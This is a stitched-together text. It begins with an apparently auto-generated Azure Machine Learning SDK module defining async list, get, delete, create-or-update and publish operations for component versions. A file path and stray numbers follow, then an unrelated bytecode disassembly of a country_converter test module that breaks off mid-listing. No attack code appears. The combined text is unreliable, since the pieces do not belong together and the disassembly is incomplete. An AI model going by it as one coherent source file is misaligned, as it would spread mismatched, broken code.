import urllib.parse from io import IOBase from typing import ( IO, Any, AsyncIterable, Callable, Dict, Optional, TypeVar, Union, cast, overload, ) from azure.core.async_paging import AsyncItemPaged, AsyncList from azure.core.exceptions import ( ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, ResourceNotModifiedError, map_error, ) from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse from azure.core.polling import AsyncLROPoller, AsyncNoPolling, AsyncPollingMethod from azure.core.rest import HttpRequest from azure.core.tracing.decorator import distributed_trace from azure.core.tracing.decorator_async import distributed_trace_async from azure.core.utils import case_insensitive_dict from azure.mgmt.core.exceptions import ARMErrorFormat from azure.mgmt.core.polling.async_arm_polling import AsyncARMPolling from ... import models as _models from ..._vendor import _convert_request from ...operations._component_versions_operations import ( build_create_or_update_request, build_delete_request, build_get_request, build_list_request, build_publish_request, ) T = TypeVar("T") ClsType = Optional[ Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any] ] class ComponentVersionsOperations: """ .. warning:: **DO NOT** instantiate this class directly. Instead, you should access the following operations through :class:`~azure.mgmt.machinelearningservices.aio.AzureMachineLearningServices`'s :attr:`component_versions` attribute. """ models = _models def __init__(self, *args, **kwargs) -> None: input_args = list(args) self._client = input_args.pop(0) if input_args else kwargs.pop("client") self._config = input_args.pop(0) if input_args else kwargs.pop("config") self._serialize = input_args.pop(0) if input_args else kwargs.pop("serializer") self._deserialize = ( input_args.pop(0) if input_args else kwargs.pop("deserializer") ) @distributed_trace def list( self, resource_group_name: str, workspace_name: str, name: str, order_by: Optional[str] = None, top: Optional[int] = None, skip: Optional[str] = None, list_view_type: Optional[Union[str, _models.ListViewType]] = None, **kwargs: Any ) -> AsyncIterable["_models.ComponentVersion"]: """List component versions. List component versions. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param workspace_name: Name of Azure Machine Learning workspace. Required. :type workspace_name: str :param name: Component name. Required. :type name: str :param order_by: Ordering of list. Default value is None. :type order_by: str :param top: Maximum number of records to return. Default value is None. :type top: int :param skip: Continuation token for pagination. Default value is None. :type skip: str :param list_view_type: View type for including/excluding (for example) archived entities. Known values are: "ActiveOnly", "ArchivedOnly", and "All". Default value is None. :type list_view_type: str or ~azure.mgmt.machinelearningservices.models.ListViewType :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either ComponentVersion or the result of cls(response) :rtype: ~azure.core.async_paging.AsyncItemPaged[~azure.mgmt.machinelearningservices.models.ComponentVersion] :raises ~azure.core.exceptions.HttpResponseError: """ _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", self._config.api_version) ) cls: ClsType[_models.ComponentVersionResourceArmPaginatedResult] = kwargs.pop( "cls", None ) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) def prepare_request(next_link=None): if not next_link: request = build_list_request( resource_group_name=resource_group_name, workspace_name=workspace_name, name=name, subscription_id=self._config.subscription_id, order_by=order_by, top=top, skip=skip, list_view_type=list_view_type, api_version=api_version, template_url=self.list.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) else: _parsed_next_link = urllib.parse.urlparse(next_link) _next_request_params = case_insensitive_dict( { key: [urllib.parse.quote(v) for v in value] for key, value in urllib.parse.parse_qs( _parsed_next_link.query ).items() } ) _next_request_params["api-version"] = self._config.api_version request = HttpRequest( "GET", urllib.parse.urljoin(next_link, _parsed_next_link.path), params=_next_request_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) request.method = "GET" return request async def extract_data(pipeline_response): deserialized = self._deserialize( "ComponentVersionResourceArmPaginatedResult", pipeline_response ) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) # type: ignore return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) _stream = False pipeline_response: PipelineResponse = ( await self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) ) response = pipeline_response.http_response if response.status_code not in [200]: map_error( status_code=response.status_code, response=response, error_map=error_map, ) error = self._deserialize.failsafe_deserialize( _models.ErrorResponse, pipeline_response ) raise HttpResponseError( response=response, model=error, error_format=ARMErrorFormat ) return pipeline_response return AsyncItemPaged(get_next, extract_data) list.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.MachineLearningServices/workspaces/{workspaceName}/components/{name}/versions" } @distributed_trace_async async def delete( # pylint: disable=inconsistent-return-statements self, resource_group_name: str, workspace_name: str, name: str, version: str, **kwargs: Any ) -> None: """Delete version. Delete version. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param workspace_name: Name of Azure Machine Learning workspace. Required. :type workspace_name: str :param name: Container name. Required. :type name: str :param version: Version identifier. Required. :type version: str :keyword callable cls: A custom type or function that will be passed the direct response :return: None or the result of cls(response) :rtype: None :raises ~azure.core.exceptions.HttpResponseError: """ error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", self._config.api_version) ) cls: ClsType[None] = kwargs.pop("cls", None) request = build_delete_request( resource_group_name=resource_group_name, workspace_name=workspace_name, name=name, version=version, subscription_id=self._config.subscription_id, api_version=api_version, template_url=self.delete.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = ( await self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) ) response = pipeline_response.http_response if response.status_code not in [200, 204]: map_error( status_code=response.status_code, response=response, error_map=error_map ) error = self._deserialize.failsafe_deserialize( _models.ErrorResponse, pipeline_response ) raise HttpResponseError( response=response, model=error, error_format=ARMErrorFormat ) if cls: return cls(pipeline_response, None, {}) delete.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.MachineLearningServices/workspaces/{workspaceName}/components/{name}/versions/{version}" } @distributed_trace_async async def get( self, resource_group_name: str, workspace_name: str, name: str, version: str, **kwargs: Any ) -> _models.ComponentVersion: """Get version. Get version. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param workspace_name: Name of Azure Machine Learning workspace. Required. :type workspace_name: str :param name: Container name. Required. :type name: str :param version: Version identifier. Required. :type version: str :keyword callable cls: A custom type or function that will be passed the direct response :return: ComponentVersion or the result of cls(response) :rtype: ~azure.mgmt.machinelearningservices.models.ComponentVersion :raises ~azure.core.exceptions.HttpResponseError: """ error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", self._config.api_version) ) cls: ClsType[_models.ComponentVersion] = kwargs.pop("cls", None) request = build_get_request( resource_group_name=resource_group_name, workspace_name=workspace_name, name=name, version=version, subscription_id=self._config.subscription_id, api_version=api_version, template_url=self.get.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = ( await self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) ) response = pipeline_response.http_response if response.status_code not in [200]: map_error( status_code=response.status_code, response=response, error_map=error_map ) error = self._deserialize.failsafe_deserialize( _models.ErrorResponse, pipeline_response ) raise HttpResponseError( response=response, model=error, error_format=ARMErrorFormat ) deserialized = self._deserialize("ComponentVersion", pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.MachineLearningServices/workspaces/{workspaceName}/components/{name}/versions/{version}" } @overload async def create_or_update( self, resource_group_name: str, workspace_name: str, name: str, version: str, body: _models.ComponentVersion, *, content_type: str = "application/json", **kwargs: Any ) -> _models.ComponentVersion: """Create or update version. Create or update version. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param workspace_name: Name of Azure Machine Learning workspace. Required. :type workspace_name: str :param name: Container name. Required. :type name: str :param version: Version identifier. Required. :type version: str :param body: Version entity to create or update. Required. :type body: ~azure.mgmt.machinelearningservices.models.ComponentVersion :keyword content_type: Body Parameter content-type. Content type parameter for JSON body. Default value is "application/json". :paramtype content_type: str :keyword callable cls: A custom type or function that will be passed the direct response :return: ComponentVersion or the result of cls(response) :rtype: ~azure.mgmt.machinelearningservices.models.ComponentVersion :raises ~azure.core.exceptions.HttpResponseError: """ @overload async def create_or_update( self, resource_group_name: str, workspace_name: str, name: str, version: str, body: IO, *, content_type: str = "application/json", **kwargs: Any ) -> _models.ComponentVersion: """Create or update version. Create or update version. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param workspace_name: Name of Azure Machine Learning workspace. Required. :type workspace_name: str :param name: Container name. Required. :type name: str :param version: Version identifier. Required. :type version: str :param body: Version entity to create or update. Required. :type body: IO :keyword content_type: Body Parameter content-type. Content type parameter for binary body. Default value is "application/json". :paramtype content_type: str :keyword callable cls: A custom type or function that will be passed the direct response :return: ComponentVersion or the result of cls(response) :rtype: ~azure.mgmt.machinelearningservices.models.ComponentVersion :raises ~azure.core.exceptions.HttpResponseError: """ @distributed_trace_async async def create_or_update( self, resource_group_name: str, workspace_name: str, name: str, version: str, body: Union[_models.ComponentVersion, IO], **kwargs: Any ) -> _models.ComponentVersion: """Create or update version. Create or update version. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param workspace_name: Name of Azure Machine Learning workspace. Required. :type workspace_name: str :param name: Container name. Required. :type name: str :param version: Version identifier. Required. :type version: str :param body: Version entity to create or update. Is either a ComponentVersion type or a IO type. Required. :type body: ~azure.mgmt.machinelearningservices.models.ComponentVersion or IO :keyword content_type: Body Parameter content-type. Known values are: 'application/json'. Default value is None. :paramtype content_type: str :keyword callable cls: A custom type or function that will be passed the direct response :return: ComponentVersion or the result of cls(response) :rtype: ~azure.mgmt.machinelearningservices.models.ComponentVersion :raises ~azure.core.exceptions.HttpResponseError: """ error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = case_insensitive_dict(kwargs.pop("headers", {}) or {}) _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", self._config.api_version) ) content_type: Optional[str] = kwargs.pop( "content_type", _headers.pop("Content-Type", None) ) cls: ClsType[_models.ComponentVersion] = kwargs.pop("cls", None) content_type = content_type or "application/json" _json = None _content = None if isinstance(body, (IOBase, bytes)): _content = body else: _json = self._serialize.body(body, "ComponentVersion") request = build_create_or_update_request( resource_group_name=resource_group_name, workspace_name=workspace_name, name=name, version=version, subscription_id=self._config.subscription_id, api_version=api_version, content_type=content_type, json=_json, content=_content, template_url=self.create_or_update.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = ( await self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) ) response = pipeline_response.http_response if response.status_code not in [200, 201]: map_error( status_code=response.status_code, response=response, error_map=error_map ) error = self._deserialize.failsafe_deserialize( _models.ErrorResponse, pipeline_response ) raise HttpResponseError( response=response, model=error, error_format=ARMErrorFormat ) if response.status_code == 200: deserialized = self._deserialize("ComponentVersion", pipeline_response) if response.status_code == 201: deserialized = self._deserialize("ComponentVersion", pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) # type: ignore return deserialized # type: ignore create_or_update.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.MachineLearningServices/workspaces/{workspaceName}/components/{name}/versions/{version}" } async def _publish_initial( # pylint: disable=inconsistent-return-statements self, resource_group_name: str, workspace_name: str, name: str, version: str, body: Union[_models.DestinationAsset, IO], **kwargs: Any ) -> None: error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = case_insensitive_dict(kwargs.pop("headers", {}) or {}) _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", self._config.api_version) ) content_type: Optional[str] = kwargs.pop( "content_type", _headers.pop("Content-Type", None) ) cls: ClsType[None] = kwargs.pop("cls", None) content_type = content_type or "application/json" _json = None _content = None if isinstance(body, (IOBase, bytes)): _content = body else: _json = self._serialize.body(body, "DestinationAsset") request = build_publish_request( resource_group_name=resource_group_name, workspace_name=workspace_name, name=name, version=version, subscription_id=self._config.subscription_id, api_version=api_version, content_type=content_type, json=_json, content=_content, template_url=self._publish_initial.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = ( await self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) ) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error( status_code=response.status_code, response=response, error_map=error_map ) error = self._deserialize.failsafe_deserialize( _models.ErrorResponse, pipeline_response ) raise HttpResponseError( response=response, model=error, error_format=ARMErrorFormat ) response_headers = {} if response.status_code == 202: response_headers["Location"] = self._deserialize( "str", response.headers.get("Location") ) response_headers["Retry-After"] = self._deserialize( "int", response.headers.get("Retry-After") ) if cls: return cls(pipeline_response, None, response_headers) _publish_initial.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.MachineLearningServices/workspaces/{workspaceName}/components/{name}/versions/{version}/publish" } @overload async def begin_publish( self, resource_group_name: str, workspace_name: str, name: str, version: str, body: _models.DestinationAsset, *, content_type: str = "application/json", **kwargs: Any ) -> AsyncLROPoller[None]: """Publish version asset into registry. Publish version asset into registry. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param workspace_name: Name of Azure Machine Learning workspace. Required. :type workspace_name: str :param name: Container name. Required. :type name: str :param version: Version identifier. Required. :type version: str :param body: Destination registry info. Required. :type body: ~azure.mgmt.machinelearningservices.models.DestinationAsset :keyword content_type: Body Parameter content-type. Content type parameter for JSON body. Default value is "application/json". :paramtype content_type: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either None or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[None] :raises ~azure.core.exceptions.HttpResponseError: """ @overload async def begin_publish( self, resource_group_name: str, workspace_name: str, name: str, version: str, body: IO, *, content_type: str = "application/json", **kwargs: Any ) -> AsyncLROPoller[None]: """Publish version asset into registry. Publish version asset into registry. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param workspace_name: Name of Azure Machine Learning workspace. Required. :type workspace_name: str :param name: Container name. Required. :type name: str :param version: Version identifier. Required. :type version: str :param body: Destination registry info. Required. :type body: IO :keyword content_type: Body Parameter content-type. Content type parameter for binary body. Default value is "application/json". :paramtype content_type: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either None or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[None] :raises ~azure.core.exceptions.HttpResponseError: """ @distributed_trace_async async def begin_publish( self, resource_group_name: str, workspace_name: str, name: str, version: str, body: Union[_models.DestinationAsset, IO], **kwargs: Any ) -> AsyncLROPoller[None]: """Publish version asset into registry. Publish version asset into registry. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param workspace_name: Name of Azure Machine Learning workspace. Required. :type workspace_name: str :param name: Container name. Required. :type name: str :param version: Version identifier. Required. :type version: str :param body: Destination registry info. Is either a DestinationAsset type or a IO type. Required. :type body: ~azure.mgmt.machinelearningservices.models.DestinationAsset or IO :keyword content_type: Body Parameter content-type. Known values are: 'application/json'. Default value is None. :paramtype content_type: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either None or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[None] :raises ~azure.core.exceptions.HttpResponseError: """ _headers = case_insensitive_dict(kwargs.pop("headers", {}) or {}) _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", self._config.api_version) ) content_type: Optional[str] = kwargs.pop( "content_type", _headers.pop("Content-Type", None) ) cls: ClsType[None] = kwargs.pop("cls", None) polling: Union[bool, AsyncPollingMethod] = kwargs.pop("polling", True) lro_delay = kwargs.pop("polling_interval", self._config.polling_interval) cont_token: Optional[str] = kwargs.pop("continuation_token", None) if cont_token is None: raw_result = await self._publish_initial( # type: ignore resource_group_name=resource_group_name, workspace_name=workspace_name, name=name, version=version, body=body, api_version=api_version, content_type=content_type, cls=lambda x, y, z: x, headers=_headers, params=_params, **kwargs ) kwargs.pop("error_map", None) def get_long_running_output( pipeline_response, ): # pylint: disable=inconsistent-return-statements if cls: return cls(pipeline_response, None, {}) if polling is True: polling_method: AsyncPollingMethod = cast( AsyncPollingMethod, AsyncARMPolling( lro_delay, lro_options={"final-state-via": "location"}, **kwargs ), ) elif polling is False: polling_method = cast(AsyncPollingMethod, AsyncNoPolling()) else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output, ) return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) # type: ignore begin_publish.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.MachineLearningServices/workspaces/{workspaceName}/components/{name}/versions/{version}/publish" }
data/azure-ai-ml-1.13.0/azure/ai/ml/_restclient/v2023_10_01/aio/operations/_component_versions_operations.py
9,056
9,008
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LOAD_CONST ' Testing the country_converter functionality\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME collections STORE_NAME collections LOAD_CONST 0 LOAD_CONST None IMPORT_NAME logging STORE_NAME logging LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST ('OrderedDict',) IMPORT_NAME collections IMPORT_FROM OrderedDict STORE_NAME OrderedDict POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pandas STORE_NAME pd LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST ('assert_frame_equal', 'assert_series_equal') IMPORT_NAME pandas.testing IMPORT_FROM assert_frame_equal STORE_NAME assert_frame_equal IMPORT_FROM assert_series_equal STORE_NAME assert_series_equal POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME country_converter STORE_NAME coco LOAD_CONST 0 LOAD_CONST ('_parse_arg',) IMPORT_NAME country_converter.country_converter IMPORT_FROM _parse_arg STORE_NAME _parse_arg POP_TOP LOAD_NAME os LOAD_ATTR path LOAD_METHOD dirname LOAD_NAME os LOAD_ATTR path LOAD_METHOD abspath LOAD_NAME __file__ CALL_METHOD CALL_METHOD STORE_NAME TESTPATH LOAD_NAME sys LOAD_ATTR path LOAD_METHOD append LOAD_NAME os LOAD_ATTR path LOAD_METHOD join LOAD_NAME TESTPATH LOAD_CONST '..' CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST <code object <listcomp> at 0x7fab82363f60, file "f.py", line 24> LOAD_CONST '<listcomp>' MAKE_FUNCTION LOAD_NAME os LOAD_METHOD listdir LOAD_NAME TESTPATH CALL_METHOD GET_ITER CALL_FUNCTION STORE_NAME regex_test_files LOAD_NAME os LOAD_ATTR path LOAD_METHOD join LOAD_NAME TESTPATH LOAD_CONST 'should_not_match.txt' CALL_METHOD STORE_NAME non_matching_data LOAD_NAME os LOAD_ATTR path LOAD_METHOD join LOAD_NAME TESTPATH LOAD_CONST 'custom_data_example.txt' CALL_METHOD STORE_NAME custom_data LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST 'module' LOAD_NAME regex_test_files LOAD_CONST ('scope', 'params') CALL_FUNCTION LOAD_CONST <code object get_regex_test_data at 0x7fab802326f0, file "f.py", line 32> LOAD_CONST 'get_regex_test_data' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get_regex_test_data LOAD_CONST <code object test_name_short at 0x7fab80232810, file "f.py", line 41> LOAD_CONST 'test_name_short' MAKE_FUNCTION STORE_NAME test_name_short LOAD_CONST <code object test_name_official at 0x7fab82375270, file "f.py", line 69> LOAD_CONST 'test_name_official' MAKE_FUNCTION STORE_NAME test_name_official LOAD_CONST <code object test_alternative_names at 0x7fab823759c0, file "f.py", line 97> LOAD_CONST 'test_alternative_names' MAKE_FUNCTION STORE_NAME test_alternative_names LOAD_CONST <code object test_toISO2_conversion at 0x7fab82375c00, file "f.py", line 131> LOAD_CONST 'test_toISO2_conversion' MAKE_FUNCTION STORE_NAME test_toISO2_conversion LOAD_CONST <code object test_additional_country_file at 0x7fab82375030, file "f.py", line 146> LOAD_CONST 'test_additional_country_file' MAKE_FUNCTION STORE_NAME test_additional_country_file LOAD_CONST <code object test_additional_country_data at 0x7fab82375d20, file "f.py", line 156> LOAD_CONST 'test_additional_country_data' MAKE_FUNCTION STORE_NAME test_additional_country_data LOAD_CONST <code object test_UNmember at 0x7fab82375150, file "f.py", line 173> LOAD_CONST 'test_UNmember' MAKE_FUNCTION STORE_NAME test_UNmember LOAD_CONST <code object test_obsolete at 0x7fab82375ed0, file "f.py", line 178> LOAD_CONST 'test_obsolete' MAKE_FUNCTION STORE_NAME test_obsolete LOAD_CONST <code object test_special_cases at 0x7fab82375db0, file "f.py", line 187> LOAD_CONST 'test_special_cases' MAKE_FUNCTION STORE_NAME test_special_cases LOAD_CONST <code object test_iterable_inputs at 0x7fab82375420, file "f.py", line 198> LOAD_CONST 'test_iterable_inputs' MAKE_FUNCTION STORE_NAME test_iterable_inputs LOAD_CONST <code object test_get_correspondance_dict_standard at 0x7fab823758a0, file "f.py", line 221> LOAD_CONST 'test_get_correspondance_dict_standard' MAKE_FUNCTION STORE_NAME test_get_correspondance_dict_standard LOAD_CONST <code object test_get_correspondence_dict_numeric_replace at 0x7fae2f37ae40, file "f.py", line 241> LOAD_CONST 'test_get_correspondence_dict_numeric_replace' MAKE_FUNCTION STORE_NAME test_get_correspondence_dict_numeric_replace LOAD_CONST <code object test_build_agg_conc_custom at 0x7fae2f37af60, file "f.py", line 271> LOAD_CONST 'test_build_agg_conc_custom' MAKE_FUNCTION STORE_NAME test_build_agg_conc_custom LOAD_CONST <code object test_build_agg_conc_exio at 0x7fae2f37adb0, file "f.py", line 368> LOAD_CONST 'test_build_agg_conc_exio' MAKE_FUNCTION STORE_NAME test_build_agg_conc_exio LOAD_CONST <code object test_match at 0x7fae2f37a930, file "f.py", line 444> LOAD_CONST 'test_match' MAKE_FUNCTION STORE_NAME test_match LOAD_CONST <code object test_regex_warnings at 0x7fae2f37a6f0, file "f.py", line 469> LOAD_CONST 'test_regex_warnings' MAKE_FUNCTION STORE_NAME test_regex_warnings LOAD_CONST <code object test_cli_output at 0x7fae2f37a270, file "f.py", line 474> LOAD_CONST 'test_cli_output' MAKE_FUNCTION STORE_NAME test_cli_output LOAD_CONST <code object test_wrapper_convert at 0x7fae2f37ac90, file "f.py", line 492> LOAD_CONST 'test_wrapper_convert' MAKE_FUNCTION STORE_NAME test_wrapper_convert LOAD_CONST <code object test_convert_wrong_classification at 0x7fae2f37a660, file "f.py", line 497> LOAD_CONST 'test_convert_wrong_classification' MAKE_FUNCTION STORE_NAME test_convert_wrong_classification LOAD_CONST <code object test_EU_output at 0x7fae2f37aae0, file "f.py", line 502> LOAD_CONST 'test_EU_output' MAKE_FUNCTION STORE_NAME test_EU_output LOAD_CONST <code object test_EXIO_output at 0x7fae2f37a8a0, file "f.py", line 517> LOAD_CONST 'test_EXIO_output' MAKE_FUNCTION STORE_NAME test_EXIO_output LOAD_CONST <code object test_WIOD_output at 0x7fae2f37ad20, file "f.py", line 530> LOAD_CONST 'test_WIOD_output' MAKE_FUNCTION STORE_NAME test_WIOD_output LOAD_CONST <code object test_Eora_output at 0x7fae2f37ab70, file "f.py", line 538> LOAD_CONST 'test_Eora_output' MAKE_FUNCTION STORE_NAME test_Eora_output LOAD_CONST <code object test_MESSAGE_output at 0x7fae2f37a150, file "f.py", line 545> LOAD_CONST 'test_MESSAGE_output' MAKE_FUNCTION STORE_NAME test_MESSAGE_output LOAD_CONST <code object test_properties at 0x7fae2f37a1e0, file "f.py", line 553> LOAD_CONST 'test_properties' MAKE_FUNCTION STORE_NAME test_properties LOAD_CONST <code object test_parser at 0x7fab542ad0c0, file "f.py", line 561> LOAD_CONST 'test_parser' MAKE_FUNCTION STORE_NAME test_parser LOAD_CONST <code object test_full_cli at 0x7fab542ad150, file "f.py", line 573> LOAD_CONST 'test_full_cli' MAKE_FUNCTION STORE_NAME test_full_cli LOAD_CONST <code object test_ISO_number_codes at 0x7fab542ad540, file "f.py", line 599> LOAD_CONST 'test_ISO_number_codes' MAKE_FUNCTION STORE_NAME test_ISO_number_codes LOAD_CONST <code object test_fao_number_codes at 0x7fab542ad420, file "f.py", line 607> LOAD_CONST 'test_fao_number_codes' MAKE_FUNCTION STORE_NAME test_fao_number_codes LOAD_CONST <code object test_GBD_codes at 0x7fab542ada50, file "f.py", line 615> LOAD_CONST 'test_GBD_codes' MAKE_FUNCTION STORE_NAME test_GBD_codes LOAD_CONST <code object test_non_matching at 0x7fab542ad1e0, file "f.py", line 622> LOAD_CONST 'test_non_matching' MAKE_FUNCTION STORE_NAME test_non_matching LOAD_CONST <code object test_exio_three_letter at 0x7fab542ade40, file "f.py", line 636> LOAD_CONST 'test_exio_three_letter' MAKE_FUNCTION STORE_NAME test_exio_three_letter LOAD_CONST <code object test_DAC_number_codes at 0x7fab542ad300, file "f.py", line 676> LOAD_CONST 'test_DAC_number_codes' MAKE_FUNCTION STORE_NAME test_DAC_number_codes LOAD_CONST <code object test_ccTLD at 0x7fab542aded0, file "f.py", line 684> LOAD_CONST 'test_ccTLD' MAKE_FUNCTION STORE_NAME test_ccTLD LOAD_CONST <code object test_continents at 0x7fab542add20, file "f.py", line 694> LOAD_CONST 'test_continents' MAKE_FUNCTION STORE_NAME test_continents LOAD_CONST <code object test_IOC at 0x7fab542adb70, file "f.py", line 703> LOAD_CONST 'test_IOC' MAKE_FUNCTION STORE_NAME test_IOC LOAD_CONST <code object test_GWcode at 0x7fab542ad030, file "f.py", line 710> LOAD_CONST 'test_GWcode' MAKE_FUNCTION STORE_NAME test_GWcode LOAD_CONST <code object test_pandas_convert at 0x7fab82334300, file "f.py", line 718> LOAD_CONST 'test_pandas_convert' MAKE_FUNCTION STORE_NAME test_pandas_convert LOAD_CONST <code object test_pandas_convert_options at 0x7fab82334ed0, file "f.py", line 738> LOAD_CONST 'test_pandas_convert_options' MAKE_FUNCTION STORE_NAME test_pandas_convert_options LOAD_CONST <code object test_CC41_output at 0x7fab82334a50, file "f.py", line 783> LOAD_CONST 'test_CC41_output' MAKE_FUNCTION STORE_NAME test_CC41_output LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 50 STORE_FAST nn LOAD_FAST nn LOAD_CONST None LOAD_CONST 10 BUILD_SLICE BINARY_SUBSCR LOAD_CONST 'test_regex' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD splitext LOAD_FAST nn CALL_METHOD LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST '.txt' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST nn LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL collections LOAD_METHOD namedtuple LOAD_CONST 'regex_test_data' LOAD_CONST 'data_name' LOAD_CONST 'data' BUILD_LIST CALL_METHOD STORE_FAST retval LOAD_FAST retval LOAD_FAST request LOAD_ATTR param LOAD_GLOBAL pd 